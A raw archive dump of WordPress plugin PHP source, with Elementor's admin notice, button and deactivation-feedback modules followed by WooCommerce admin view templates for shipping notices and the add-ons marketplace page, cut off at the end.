						$plugin_data = get_plugin_data( $plugin_file );
						if ( isset( $plugin_data['Version'] ) ) {
							$version = $plugin_data['Version'];
						}
					}

					$result = version_compare( $version, $condition['version'], $condition['operator'] );
					break;
				case 'theme':
					$theme = wp_get_theme();
					if ( wp_get_theme()->parent() ) {
						$theme = wp_get_theme()->parent();
					}

					if ( $theme->get_template() === $condition['theme'] ) {
						$version = $theme->version;
					} else {
						$version = '';
					}

					$result = version_compare( $version, $condition['version'], $condition['operator'] );
					break;

			}

			if ( ( $is_or_relation && $result ) || ( ! $is_or_relation && ! $result ) ) {
				return $result;
			}
		}

		return $result;
	}

	/**
	 * @since 2.6.0
	 * @access public
	 */
	public function __construct() {
		add_filter( 'pre_set_site_transient_update_plugins', [ $this, 'check_version' ] );
	}
}
PK�2\���u	u	ui/components/button.phpnu�[���<?php
namespace Elementor\Core\Admin\UI\Components;

use Elementor\Core\Base\Base_Object;
use Elementor\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Button extends Base_Object {

	private $options;
	/**
	 * @inheritDoc
	 */
	public function get_name() {
		return 'admin-button';
	}

	public function print_button() {
		$options = $this->get_options();

		if ( empty( $options['text'] ) ) {
			return;
		}

		$html_tag = ! empty( $options['url'] ) ? 'a' : 'button';
		$before = '';
		$icon = '';
		$attributes = [];

		if ( ! empty( $options['icon'] ) ) {
			$icon = '<i class="' . esc_attr( $options['icon'] ) . '"></i>';
		}

		$classes = $options['classes'];

		$default_classes = $this->get_default_options( 'classes' );

		$classes = array_merge( $classes, $default_classes );

		if ( ! empty( $options['type'] ) ) {
			$classes[] = 'e-button--' . $options['type'];
		}

		if ( ! empty( $options['variant'] ) ) {
			$classes[] = 'e-button--' . $options['variant'];
		}

		if ( ! empty( $options['before'] ) ) {
			$before = '<span>' . wp_kses_post( $options['before'] ) . '</span>';
		}

		if ( ! empty( $options['url'] ) ) {
			$attributes['href'] = $options['url'];
			if ( $options['new_tab'] ) {
				$attributes['target'] = '_blank';
			}
		}

		$attributes['class'] = $classes;

		$html = $before . '<' . $html_tag . ' ' . Utils::render_html_attributes( $attributes ) . '>';
		$html .= $icon;
		$html .= '<span>' . sanitize_text_field( $options['text'] ) . '</span>';
		$html .= '</' . $html_tag . '>';

		echo $html; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
	}

	/**
	 * @param string $option Optional default is null
	 * @return array|mixed
	 */
	private function get_options( $option = null ) {
		return $this->get_items( $this->options, $option );
	}

	/**
	 * @param null $option
	 * @return array
	 */
	private function get_default_options( $option = null ) {
		$default_options = [
			'classes' => [ 'e-button' ],
			'icon' => '',
			'new_tab' => false,
			'text' => '',
			'type' => '',
			'url' => '',
			'variant' => '',
			'before' => '',
		];

		if ( null !== $option && -1 !== in_array( $option, $default_options ) ) {
			return $default_options[ $option ];
		}

		return $default_options;
	}

	public function __construct( array $options ) {
		$this->options = $this->merge_properties( $this->get_default_options(), $options );
	}
}
PK�2\�A�d�D�Dadmin-notices.phpnu�[���<?php
namespace Elementor\Core\Admin;

use Elementor\Api;
use Elementor\Core\Admin\UI\Components\Button;
use Elementor\Core\Base\Module;
use Elementor\Plugin;
use Elementor\Tracker;
use Elementor\User;
use Elementor\Utils;
use Elementor\Core\Admin\Notices\Base_Notice;
use Elementor\Core\Admin\Notices\Elementor_Dev_Notice;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Admin_Notices extends Module {

	private $plain_notices = [
		'api_notice',
		'api_upgrade_plugin',
		'tracker',
		'rate_us_feedback',
		'woocommerce_promote',
		'cf7_promote',
		'mc4wp_promote',
		'popup_maker_promote',
		'role_manager_promote',
	];

	private $elementor_pages_count = null;

	private $install_time = null;

	private $current_screen_id = null;

	private function get_notices() {
		$notices = [
			new Elementor_Dev_Notice(),
		];

		/**
		 * Admin notices.
		 *
		 * Filters Elementor admin notices.
		 *
		 * This hook can be used by external developers to manage existing
		 * admin notice or to add new notices for Elementor addons.
		 *
		 * @param array $notices A list of notice classes.
		 */
		$notices = apply_filters( 'elementor/core/admin/notices', $notices );

		return $notices;
	}

	private function get_install_time() {
		if ( null === $this->install_time ) {
			$this->install_time = Plugin::$instance->get_install_time();
		}

		return $this->install_time;
	}

	private function get_elementor_pages_count() {
		if ( null === $this->elementor_pages_count ) {
			$elementor_pages = new \WP_Query( [
				'post_type' => 'any',
				'post_status' => 'publish',
				'fields' => 'ids',
				'update_post_meta_cache' => false,
				'update_post_term_cache' => false,
				'meta_key' => '_elementor_edit_mode',
				'meta_value' => 'builder',
			] );

			$this->elementor_pages_count = $elementor_pages->post_count;
		}

		return $this->elementor_pages_count;
	}

	private function notice_api_upgrade_plugin() {
		$upgrade_notice = Api::get_upgrade_notice();
		if ( empty( $upgrade_notice ) ) {
			return false;
		}

		if ( ! current_user_can( 'update_plugins' ) ) {
			return false;
		}

		if ( ! in_array( $this->current_screen_id, [ 'toplevel_page_elementor', 'edit-elementor_library', 'elementor_page_elementor-system-info', 'dashboard' ], true ) ) {
			return false;
		}

		// Check if have any upgrades.
		$update_plugins = get_site_transient( 'update_plugins' );

		$has_remote_update_package = ! ( empty( $update_plugins ) || empty( $update_plugins->response[ ELEMENTOR_PLUGIN_BASE ] ) || empty( $update_plugins->response[ ELEMENTOR_PLUGIN_BASE ]->package ) );

		if ( ! $has_remote_update_package && empty( $upgrade_notice['update_link'] ) ) {
			return false;
		}

		if ( $has_remote_update_package ) {
			$product = $update_plugins->response[ ELEMENTOR_PLUGIN_BASE ];

			$details_url = self_admin_url( 'plugin-install.php?tab=plugin-information&plugin=' . $product->slug . '&section=changelog&TB_iframe=true&width=600&height=800' );
			$upgrade_url = wp_nonce_url( self_admin_url( 'update.php?action=upgrade-plugin&plugin=' . ELEMENTOR_PLUGIN_BASE ), 'upgrade-plugin_' . ELEMENTOR_PLUGIN_BASE );
			$new_version = $product->new_version;
		} else {
			$upgrade_url = $upgrade_notice['update_link'];
			$details_url = $upgrade_url;

			$new_version = $upgrade_notice['version'];
		}

		// Check if have upgrade notices to show.
		if ( version_compare( ELEMENTOR_VERSION, $upgrade_notice['version'], '>=' ) ) {
			return false;
		}

		$notice_id = 'upgrade_notice_' . $upgrade_notice['version'];
		if ( User::is_user_notice_viewed( $notice_id ) ) {
			return false;
		}

		$message = sprintf(
			/* translators: 1: Details URL, 2: Accessibility text, 3: Version number, 4: Update URL, 5: Accessibility text. */
			__( 'There is a new version of Elementor Page Builder available. <a href="%1$s" class="thickbox open-plugin-details-modal" aria-label="%2$s">View version %3$s details</a> or <a href="%4$s" class="update-link" aria-label="%5$s">update now</a>.', 'elementor' ),
			esc_url( $details_url ),
			esc_attr( sprintf(
				/* translators: %s: Elementor version. */
				__( 'View Elementor version %s details', 'elementor' ),
				$new_version
			) ),
			$new_version,
			esc_url( $upgrade_url ),
			esc_attr( esc_html__( 'Update Elementor Now', 'elementor' ) )
		);

		$options = [
			'title' => esc_html__( 'Update Notification', 'elementor' ),
			'description' => $message,
			'button' => [
				'icon_classes' => 'dashicons dashicons-update',
				'text' => esc_html__( 'Update Now', 'elementor' ),
				'url' => $upgrade_url,
			],
			'id' => $notice_id,
		];

		$this->print_admin_notice( $options );

		return true;
	}

	private function notice_api_notice() {
		$admin_notice = Api::get_admin_notice();
		if ( empty( $admin_notice ) ) {
			return false;
		}

		if ( ! current_user_can( 'manage_options' ) ) {
			return false;
		}

		if ( ! in_array( $this->current_screen_id, [ 'toplevel_page_elementor', 'edit-elementor_library', 'elementor_page_elementor-system-info', 'dashboard' ], true ) ) {
			return false;
		}

		$notice_id = 'admin_notice_api_' . $admin_notice['notice_id'];
		if ( User::is_user_notice_viewed( $notice_id ) ) {
			return false;
		}

		$options = [
			'title' => esc_html__( 'Update Notification', 'elementor' ),
			'description' => $admin_notice['notice_text'],
			'id' => $notice_id,
		];

		$this->print_admin_notice( $options );

		return true;
	}

	private function notice_tracker() {
		if ( ! current_user_can( 'manage_options' ) ) {
			return false;
		}

		// Show tracker notice after 24 hours from installed time.
		if ( strtotime( '+24 hours', $this->get_install_time() ) > time() ) {
			return false;
		}

		if ( '1' === get_option( 'elementor_tracker_notice' ) ) {
			return false;
		}

		if ( Tracker::is_allow_track() ) {
			return false;
		}

		if ( 2 > $this->get_elementor_pages_count() ) {
			return false;
		}

		// TODO: Skip for development env.
		$optin_url = wp_nonce_url( add_query_arg( 'elementor_tracker', 'opt_into' ), 'opt_into' );
		$optout_url = wp_nonce_url( add_query_arg( 'elementor_tracker', 'opt_out' ), 'opt_out' );

		$tracker_description_text = esc_html__( 'Become a super contributor by opting in to share non-sensitive plugin data and to receive periodic email updates from us.', 'elementor' );

		/**
		 * Tracker admin description text.
		 *
		 * Filters the admin notice text for non-sensitive data collection.
		 *
		 * @since 1.0.0
		 *
		 * @param string $tracker_description_text Description text displayed in admin notice.
		 */
		$tracker_description_text = apply_filters( 'elementor/tracker/admin_description_text', $tracker_description_text );

		$message = esc_html( $tracker_description_text ) . ' <a href="https://go.elementor.com/usage-data-tracking/" target="_blank">' . esc_html__( 'Learn more.', 'elementor' ) . '</a>';

		$options = [
			'title' => esc_html__( 'Love using Elementor?', 'elementor' ),
			'description' => $message,
			'button' => [
				'text' => esc_html__( 'Sure! I\'d love to help', 'elementor' ),
				'url' => $optin_url,
				'type' => 'cta',
			],
			'button_secondary' => [
				'text' => esc_html__( 'No thanks', 'elementor' ),
				'url' => $optout_url,
				'variant' => 'outline',
				'type' => 'cta',
			],
		];

		$this->print_admin_notice( $options );

		return true;
	}

	private function notice_rate_us_feedback() {
		$notice_id = 'rate_us_feedback';

		if ( ! current_user_can( 'manage_options' ) ) {
			return false;
		}

		if ( 'dashboard' !== $this->current_screen_id || User::is_user_notice_viewed( $notice_id ) ) {
			return false;
		}

		if ( 10 >= $this->get_elementor_pages_count() ) {
			return false;
		}

		$dismiss_url = add_query_arg( [
			'action' => 'elementor_set_admin_notice_viewed',
			'notice_id' => esc_attr( $notice_id ),
		], admin_url( 'admin-post.php' ) );

		$options = [
			'title' => esc_html__( 'Congrats!', 'elementor' ),
			'description' => esc_html__( 'You created over 10 pages with Elementor. Great job! If you can spare a minute,
				please help us by leaving a five star review on WordPress.org.', 'elementor' ),
			'id' => $notice_id,
			'button' => [
				'text' => esc_html__( 'Happy To Help', 'elementor' ),
				'url' => 'https://go.elementor.com/admin-review/',
				'new_tab' => true,
				'type' => 'cta',
			],
			'button_secondary' => [
				'text' => esc_html__( 'Hide Notification', 'elementor' ),
				'classes' => [ 'e-notice-dismiss' ],
				'url' => esc_url_raw( $dismiss_url ),
				'new_tab' => true,
				'type' => 'cta',
			],
		];

		$this->print_admin_notice( $options );

		return true;
	}

	private function notice_woocommerce_promote() {
		$notice_id = 'woocommerce_promote';

		if ( Utils::has_pro() || ! function_exists( 'WC' ) ) {
			return false;
		}

		if ( ! current_user_can( 'install_plugins' ) ) {
			return false;
		}

		if ( ! in_array( $this->current_screen_id, [ 'edit-product', 'woocommerce_page_wc-settings' ], true ) || User::is_user_notice_viewed( $notice_id ) ) {
			return false;
		}

		if ( strtotime( '2019-08-01' ) > $this->get_install_time() ) {
			return false;
		}

		if ( strtotime( '+24 hours', $this->get_install_time() ) > time() ) {
			return false;
		}

		$options = [
			'title' => esc_html__( 'Using WooCommerce?', 'elementor' ),
			'description' => esc_html__( 'With Elementor Pro’s WooCommerce Builder, you’ll be able to design your store without coding!', 'elementor' ),
			'id' => $notice_id,

			'button' => [
				'text' => esc_html__( 'Learn More', 'elementor' ),
				'url' => 'https://go.elementor.com/plugin-promotion-woocommerce/',
				'new_tab' => true,
				'type' => 'cta',
			],
		];

		$this->print_admin_notice( $options );

		return true;
	}

	private function notice_cf7_promote() {
		$notice_id = 'cf7_promote';

		if ( Utils::has_pro() || ! defined( 'WPCF7_VERSION' ) ) {
			return false;
		}

		if ( ! current_user_can( 'install_plugins' ) ) {
			return false;
		}

		if ( ! in_array( $this->current_screen_id, [ 'toplevel_page_wpcf7', 'contact_page_wpcf7-integration' ], true ) || User::is_user_notice_viewed( $notice_id ) ) {
			return false;
		}

		if ( strtotime( '2019-08-01' ) > $this->get_install_time() ) {
			return false;
		}

		if ( strtotime( '+24 hours', $this->get_install_time() ) > time() ) {
			return false;
		}

		$options = [
			'title' => esc_html__( 'Using Elementor & Contact Form 7?', 'elementor' ),
			'description' => esc_html__( 'Try out Elementor Pro and design your forms visually with one powerful tool.', 'elementor' ),

			'id' => $notice_id,
			'button' => [
				'text' => esc_html__( 'Learn More', 'elementor' ),
				'url' => 'https://go.elementor.com/plugin-promotion-contactform7/',
				'new_tab' => true,
				'type' => 'cta',
			],
		];

		$this->print_admin_notice( $options );

		return true;
	}

	private function notice_mc4wp_promote() {
		$notice_id = 'mc4wp_promote';

		if ( Utils::has_pro() || ! defined( 'MC4WP_VERSION' ) ) {
			return false;
		}

		if ( ! current_user_can( 'install_plugins' ) ) {
			return false;
		}

		if ( ! in_array( $this->current_screen_id, [ 'toplevel_page_mailchimp-for-wp', 'mc4wp_page_mailchimp-for-wp-forms', 'mc4wp_page_mailchimp-for-wp-integrations', 'mc4wp_page_mailchimp-for-wp-other', 'mc4wp_page_mailchimp-for-wp-extensions' ], true ) || User::is_user_notice_viewed( $notice_id ) ) {
			return false;
		}

		if ( strtotime( '2019-08-01' ) > $this->get_install_time() ) {
			return false;
		}

		if ( strtotime( '+24 hours', $this->get_install_time() ) > time() ) {
			return false;
		}

		$options = [
			'title' => esc_html__( 'Want to design better MailChimp forms?', 'elementor' ),
			'description' => esc_html__( 'Use Elementor Pro and enjoy unlimited integrations, visual design, templates and more.', 'elementor' ),
			'dismissible' => true,
			'id' => $notice_id,

			'button' => [
				'text' => esc_html__( 'Learn More', 'elementor' ),
				'url' => 'https://go.elementor.com/plugin-promotion-mc4wp/',
				'new_tab' => true,
				'type' => 'cta',
			],
		];

		$this->print_admin_notice( $options );

		return true;
	}

	private function notice_popup_maker_promote() {
		$notice_id = 'popup_maker_promote';

		if ( Utils::has_pro() || ! class_exists( 'Popup_Maker' ) ) {
			return false;
		}

		if ( ! current_user_can( 'install_plugins' ) ) {
			return false;
		}

		if ( ! in_array( $this->current_screen_id, [ 'edit-popup', 'popup_page_pum-settings' ], true ) || User::is_user_notice_viewed( $notice_id ) ) {
			return false;
		}

		if ( strtotime( '2019-08-01' ) > $this->get_install_time() ) {
			return false;
		}

		if ( strtotime( '+24 hours', $this->get_install_time() ) > time() ) {
			return false;
		}

		$options = [
			'title' => esc_html__( 'Using popups on your site?', 'elementor' ),
			'description' => esc_html__( 'Build outstanding popups using Elementor Pro and get more leads, sales and subscribers.', 'elementor' ),
			'dismissible' => true,
			'id' => $notice_id,

			'button' => [
				'text' => esc_html__( 'Learn More', 'elementor' ),
				'url' => 'https://go.elementor.com/plugin-promotion-popupmaker/',
				'new_tab' => true,
				'type' => 'cta',
			],
		];

		$this->print_admin_notice( $options );

		return true;
	}

	private function notice_role_manager_promote() {
		$notice_id = 'role_manager_promote';

		if ( Utils::has_pro() ) {
			return false;
		}

		if ( ! current_user_can( 'manage_options' ) ) {
			return false;
		}

		if ( 'elementor_page_elementor-role-manager' !== $this->current_screen_id || User::is_user_notice_viewed( $notice_id ) ) {
			return false;
		}

		$users = new \WP_User_Query( [
			'fields' => 'ID',
			'number' => 10,
		] );

		if ( 5 > $users->get_total() ) {
			return false;
		}

		$options = [
			'title' => esc_html__( 'Managing a multi-user site?', 'elementor' ),
			'description' => esc_html__( 'With Elementor Pro, you can control user access and make sure no one messes up your design.', 'elementor' ),
			'id' => $notice_id,

			'button' => [
				'text' => esc_html__( 'Learn More', 'elementor' ),
				'url' => 'https://go.elementor.com/plugin-promotion-role-manager/',
				'new_tab' => true,
				'type' => 'cta',
			],
		];

		$this->print_admin_notice( $options );

		return true;
	}

	public function print_admin_notice( array $options ) {
		$default_options = [
			'id' => null,
			'title' => '',
			'description' => '',
			'classes' => [ 'notice', 'e-notice' ], // We include WP's default notice class so it will be properly handled by WP's js handler
			'type' => '',
			'dismissible' => true,
			'icon' => 'eicon-elementor',
			'button' => [],
			'button_secondary' => [],
		];

		$options = array_replace_recursive( $default_options, $options );

		$notice_classes = $options['classes'];
		$dismiss_button = '';
		$icon = '';

		if ( $options['type'] ) {
			$notice_classes[] = 'e-notice--' . $options['type'];
		}

		if ( $options['dismissible'] ) {
			$label = esc_html__( 'Dismiss', 'elementor' );
			$notice_classes[] = 'e-notice--dismissible';
			$dismiss_button = '<i class="e-notice__dismiss" role="button" aria-label="' . $label . '" tabindex="0"></i>';
		}

		if ( $options['icon'] ) {
			$notice_classes[] = 'e-notice--extended';
			$icon = '<div class="e-notice__icon-wrapper"><i class="' . esc_attr( $options['icon'] ) . '" aria-hidden="true"></i></div>';
		}

		$wrapper_attributes = [
			'class' => $notice_classes,
		];

		if ( $options['id'] ) {
			$wrapper_attributes['data-notice_id'] = $options['id'];
		}
		?>
		<div <?php Utils::print_html_attributes( $wrapper_attributes ); ?>>
			<?php echo $dismiss_button; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
			<div class="e-notice__aside">
				<?php echo $icon; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
			</div>
			<div class="e-notice__content">
			<?php if ( $options['title'] ) { ?>
				<h3><?php echo wp_kses_post( $options['title'] ); ?></h3>
			<?php } ?>

			<?php if ( $options['description'] ) { ?>
				<p><?php echo wp_kses_post( $options['description'] ); ?></p>
			<?php } ?>

			<?php if ( ! empty( $options['button']['text'] ) || ! empty( $options['button_secondary']['text'] ) ) { ?>
				<div class="e-notice__actions">
					<?php
					foreach ( [ $options['button'], $options['button_secondary'] ] as $index => $button_settings ) {
						if ( empty( $button_settings['variant'] ) && $index ) {
							$button_settings['variant'] = 'outline';
						}

						if ( empty( $button_settings['text'] ) ) {
							continue;
						}

						$button = new Button( $button_settings );
						$button->print_button();
					} ?>
				</div>
			<?php } ?>
			</div>
		</div>
		<?php }

	public function admin_notices() {
		$this->install_time = Plugin::$instance->get_install_time();
		$this->current_screen_id = get_current_screen()->id;

		foreach ( $this->plain_notices as $notice ) {
			$method_callback = "notice_{$notice}";
			if ( $this->$method_callback() ) {
				return;
			}
		}

		/** @var Base_Notice $notice_instance */
		foreach ( $this->get_notices() as $notice_instance ) {
			if ( ! $notice_instance->should_print() ) {
				continue;
			}

			$this->print_admin_notice( $notice_instance->get_config() );

			// It exits the method to make sure it prints only one notice.
			return;
		}
	}

	/**
	 * @since 2.9.0
	 * @access public
	 */
	public function __construct() {
		add_action( 'admin_notices', [ $this, 'admin_notices' ], 20 );
	}

	/**
	 * Get module name.
	 *
	 * Retrieve the module name.
	 *
	 * @since  2.9.0
	 * @access public
	 *
	 * @return string Module name.
	 */
	public function get_name() {
		return 'admin-notices';
	}
}
PK�2\oz��feedback.phpnu�[���<?php
namespace Elementor\Core\Admin;

use Elementor\Api;
use Elementor\Core\Base\Module;
use Elementor\Plugin;
use Elementor\Tracker;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Feedback extends Module {

	/**
	 * @since 2.2.0
	 * @access public
	 */
	public function __construct() {
		add_action( 'current_screen', function () {
			if ( ! $this->is_plugins_screen() ) {
				return;
			}

			add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_feedback_dialog_scripts' ] );
		} );

		// Ajax.
		add_action( 'wp_ajax_elementor_deactivate_feedback', [ $this, 'ajax_elementor_deactivate_feedback' ] );
	}

	/**
	 * Get module name.
	 *
	 * Retrieve the module name.
	 *
	 * @since  1.7.0
	 * @access public
	 *
	 * @return string Module name.
	 */
	public function get_name() {
		return 'feedback';
	}

	/**
	 * Enqueue feedback dialog scripts.
	 *
	 * Registers the feedback dialog scripts and enqueues them.
	 *
	 * @since 1.0.0
	 * @access public
	 */
	public function enqueue_feedback_dialog_scripts() {
		add_action( 'admin_footer', [ $this, 'print_deactivate_feedback_dialog' ] );

		$suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';

		wp_register_script(
			'elementor-admin-feedback',
			ELEMENTOR_ASSETS_URL . 'js/admin-feedback' . $suffix . '.js',
			[
				'elementor-common',
			],
			ELEMENTOR_VERSION,
			true
		);

		wp_enqueue_script( 'elementor-admin-feedback' );
	}

	/**
	 * @since 2.3.0
	 * @deprecated 3.1.0
	 */
	public function localize_feedback_dialog_settings() {
		Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.1.0' );

		return [];
	}


	/**
	 * Print deactivate feedback dialog.
	 *
	 * Display a dialog box to ask the user why he deactivated Elementor.
	 *
	 * Fired by `admin_footer` filter.
	 *
	 * @since 1.0.0
	 * @access public
	 */
	public function print_deactivate_feedback_dialog() {
		$deactivate_reasons = [
			'no_longer_needed' => [
				'title' => esc_html__( 'I no longer need the plugin', 'elementor' ),
				'input_placeholder' => '',
			],
			'found_a_better_plugin' => [
				'title' => esc_html__( 'I found a better plugin', 'elementor' ),
				'input_placeholder' => esc_html__( 'Please share which plugin', 'elementor' ),
			],
			'couldnt_get_the_plugin_to_work' => [
				'title' => esc_html__( 'I couldn\'t get the plugin to work', 'elementor' ),
				'input_placeholder' => '',
			],
			'temporary_deactivation' => [
				'title' => esc_html__( 'It\'s a temporary deactivation', 'elementor' ),
				'input_placeholder' => '',
			],
			'elementor_pro' => [
				'title' => esc_html__( 'I have Elementor Pro', 'elementor' ),
				'input_placeholder' => '',
				'alert' => esc_html__( 'Wait! Don\'t deactivate Elementor. You have to activate both Elementor and Elementor Pro in order for the plugin to work.', 'elementor' ),
			],
			'other' => [
				'title' => esc_html__( 'Other', 'elementor' ),
				'input_placeholder' => esc_html__( 'Please share the reason', 'elementor' ),
			],
		];

		?>
		<div id="elementor-deactivate-feedback-dialog-wrapper">
			<div id="elementor-deactivate-feedback-dialog-header">
				<i class="eicon-elementor-square" aria-hidden="true"></i>
				<span id="elementor-deactivate-feedback-dialog-header-title"><?php echo esc_html__( 'Quick Feedback', 'elementor' ); ?></span>
			</div>
			<form id="elementor-deactivate-feedback-dialog-form" method="post">
				<?php
				wp_nonce_field( '_elementor_deactivate_feedback_nonce' );
				?>
				<input type="hidden" name="action" value="elementor_deactivate_feedback" />

				<div id="elementor-deactivate-feedback-dialog-form-caption"><?php echo esc_html__( 'If you have a moment, please share why you are deactivating Elementor:', 'elementor' ); ?></div>
				<div id="elementor-deactivate-feedback-dialog-form-body">
					<?php foreach ( $deactivate_reasons as $reason_key => $reason ) : ?>
						<div class="elementor-deactivate-feedback-dialog-input-wrapper">
							<input id="elementor-deactivate-feedback-<?php echo esc_attr( $reason_key ); ?>" class="elementor-deactivate-feedback-dialog-input" type="radio" name="reason_key" value="<?php echo esc_attr( $reason_key ); ?>" />
							<label for="elementor-deactivate-feedback-<?php echo esc_attr( $reason_key ); ?>" class="elementor-deactivate-feedback-dialog-label"><?php echo esc_html( $reason['title'] ); ?></label>
							<?php if ( ! empty( $reason['input_placeholder'] ) ) : ?>
								<input class="elementor-feedback-text" type="text" name="reason_<?php echo esc_attr( $reason_key ); ?>" placeholder="<?php echo esc_attr( $reason['input_placeholder'] ); ?>" />
							<?php endif; ?>
							<?php if ( ! empty( $reason['alert'] ) ) : ?>
								<div class="elementor-feedback-text"><?php echo esc_html( $reason['alert'] ); ?></div>
							<?php endif; ?>
						</div>
					<?php endforeach; ?>
				</div>
			</form>
		</div>
		<?php
	}

	/**
	 * Ajax elementor deactivate feedback.
	 *
	 * Send the user feedback when Elementor is deactivated.
	 *
	 * Fired by `wp_ajax_elementor_deactivate_feedback` action.
	 *
	 * @since 1.0.0
	 * @access public
	 */
	public function ajax_elementor_deactivate_feedback() {
		if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], '_elementor_deactivate_feedback_nonce' ) ) {
			wp_send_json_error();
		}

		$reason_text = '';
		$reason_key = '';

		if ( ! empty( $_POST['reason_key'] ) ) {
			$reason_key = $_POST['reason_key'];
		}

		if ( ! empty( $_POST[ "reason_{$reason_key}" ] ) ) {
			$reason_text = $_POST[ "reason_{$reason_key}" ];
		}

		Api::send_feedback( $reason_key, $reason_text );

		wp_send_json_success();
	}

	/**
	 * @since 2.3.0
	 * @access protected
	 */
	protected function get_init_settings() {
		if ( ! $this->is_plugins_screen() ) {
			return [];
		}

		return [ 'is_tracker_opted_in' => Tracker::is_allow_track() ];
	}

	/**
	 * @since 2.3.0
	 * @access private
	 */
	private function is_plugins_screen() {
		return in_array( get_current_screen()->id, [ 'plugins', 'plugins-network' ] );
	}
}
PK�3\ҁ �(()views/html-notice-no-shipping-methods.phpnu�[���<?php
/**
 * Admin View: Notice - No Shipping methods.
 *
 * @package WooCommerce\Admin\Notices
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
?>
<div id="message" class="updated woocommerce-message">
	<a class="woocommerce-message-close notice-dismiss" href="<?php echo esc_url( wp_nonce_url( add_query_arg( 'wc-hide-notice', 'no_shipping_methods' ), 'woocommerce_hide_notices_nonce', '_wc_notice_nonce' ) ); ?>">
		<?php esc_html_e( 'Dismiss', 'woocommerce' ); ?>
	</a>

	<p class="main">
		<strong>
			<?php esc_html_e( 'Add shipping methods &amp; zones', 'woocommerce' ); ?>
		</strong>
	</p>
	<p>
		<?php esc_html_e( 'Shipping is currently enabled, but you have not added any shipping methods to your shipping zones.', 'woocommerce' ); ?>
	</p>
	<p>
		<?php esc_html_e( 'Customers will not be able to purchase physical goods from your store until a shipping method is available.', 'woocommerce' ); ?>
	</p>

	<p class="submit">
		<a class="button-primary" href="<?php echo esc_url( admin_url( 'admin.php?page=wc-settings&tab=shipping' ) ); ?>">
			<?php esc_html_e( 'Setup shipping zones', 'woocommerce' ); ?>
		</a>
		<a class="button-secondary" href="https://docs.woocommerce.com/document/setting-up-shipping-zones/">
			<?php esc_html_e( 'Learn more about shipping zones', 'woocommerce' ); ?>
		</a>
	</p>
</div>
PK�3\�\A��� views/html-admin-page-addons.phpnu�[���<?php
/**
 * Admin View: Page - Addons
 *
 * @package WooCommerce\Admin
 * @var string $view
 * @var object $addons
 * @var object $promotions
 */

use Automattic\WooCommerce\Admin\RemoteInboxNotifications as PromotionRuleEngine;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

$current_section_name = __( 'Browse Categories', 'woocommerce' );
?>
<div class="woocommerce wc-addons-wrap">
	<h1 class="screen-reader-text"><?php esc_html_e( 'Marketplace', 'woocommerce' ); ?></h1>

	<?php if ( $sections ) : ?>
	<div class="marketplace-header">
		<h1 class="marketplace-header__title"><?php esc_html_e( 'WooCommerce Marketplace', 'woocommerce' ); ?></h1>
		<p class="marketplace-header__description"><?php esc_html_e( 'Grow your business with hundreds of free and paid WooCommerce extensions.', 'woocommerce' ); ?></p>
		<form class="marketplace-header__search-form" method="GET">
			<input
				type="text"
				name="search"
				value="<?php echo esc_attr( ! empty( $search ) ? sanitize_text_field( wp_unslash( $search ) ) : '' ); ?>"
				placeholder="<?php esc_attr_e( 'Search for extensions', 'woocommerce' ); ?>"
			/>
			<button type="submit">
				<span class="dashicons dashicons-search"></span>
			</button>
			<input type="hidden" name="page" value="wc-addons">
			<input type="hidden" name="section" value="_all">
		</form>
	</div>

	<div class="top-bar">
		<div id="marketplace-current-section-dropdown" class="current-section-dropdown">
			<ul>
				<?php foreach ( $sections as $section ) : ?>
					<?php
					if ( $current_section === $section->slug && '_featured' !== $section->slug ) {
						$current_section_name = $section->label;
					}
					?>
					<li>
						<a
							class="<?php echo $current_section === $section->slug ? 'current' : ''; ?>"
							href="<?php echo esc_url( admin_url( 'admin.php?page=wc-addons&section=' . esc_attr( $section->slug ) ) ); ?>">
							<?php echo esc_html( $section->label ); ?>
						</a>
					</li>
				<?php endforeach; ?>
			</ul>
			<div id="marketplace-current-section-name" class="current-section-name"><?php echo esc_html( $current_section_name ); ?></div>
		</div>
	</div>

	<div class="wp-header-end"></div>

	<div class="wrap">
		<div class="marketplace-content-wrapper">
			<?php if ( ! empty( $search ) && 0 === count( $addons ) ) : ?>
				<h1 class="search-form-title">
					<?php esc_html_e( 'Sorry, could not find anything. Try searching again using a different term.', 'woocommerce' ); ?></p>
				</h1>
			<?php endif; ?>
			<?php if ( ! empty( $search ) && count( $addons ) > 0 ) : ?>
				<h1 class="search-form-title">
					<?php // translators: search keyword. ?>
					<?php printf( esc_html__( 'Search results for "%s"', 'woocommerce' ), esc_html( sanitize_text_field( wp_unslash( $search ) ) ) ); ?>
				</h1>
			<?php endif; ?>

			<?php if ( '_featured' === $current_section ) : ?>
				<div class="addons-featured">
					<?php WC_Admin_Addons::render_featured(); ?>
				</div>
			<?php endif; ?>
			<?php if ( '_featured' !== $current_section && $addons ) : ?>
				<?php
				if ( ! empty( $promotions ) && WC()->is_wc_admin_active() ) {
					foreach ( $promotions as $promotion ) {
						WC_Admin_Addons::output_search_promotion_block( $promotion );
					}
				}
				?>
				<ul class="products">
					<?php foreach ( $addons as $addon ) : ?>
						<?php
						if ( 'shipping_methods' === $current_section ) {
							// Do not show USPS or Canada Post extensions for US and CA stores, respectively.
							$country = WC()->countries->get_base_country();
							if ( 'US' === $country
								&& false !== strpos(
									$addon->link,
									'woocommerce.com/products/usps-shipping-method'
								)
							) {
								continue;
							}
							if ( 'CA' === $country
								&& false !== strpos(
									$addon->link,
									'woocommerce.com/products/canada-post-shipping-method'
								)
							) {
								continue;
							}
						}

						WC_Admin_Addons::render_product_card( $addon );
						?>
					<?php endforeach; ?>
				</ul>
			<?php endif; ?>
		</div>
		<?php else : ?>
			<?php /* translators: a url */ ?>
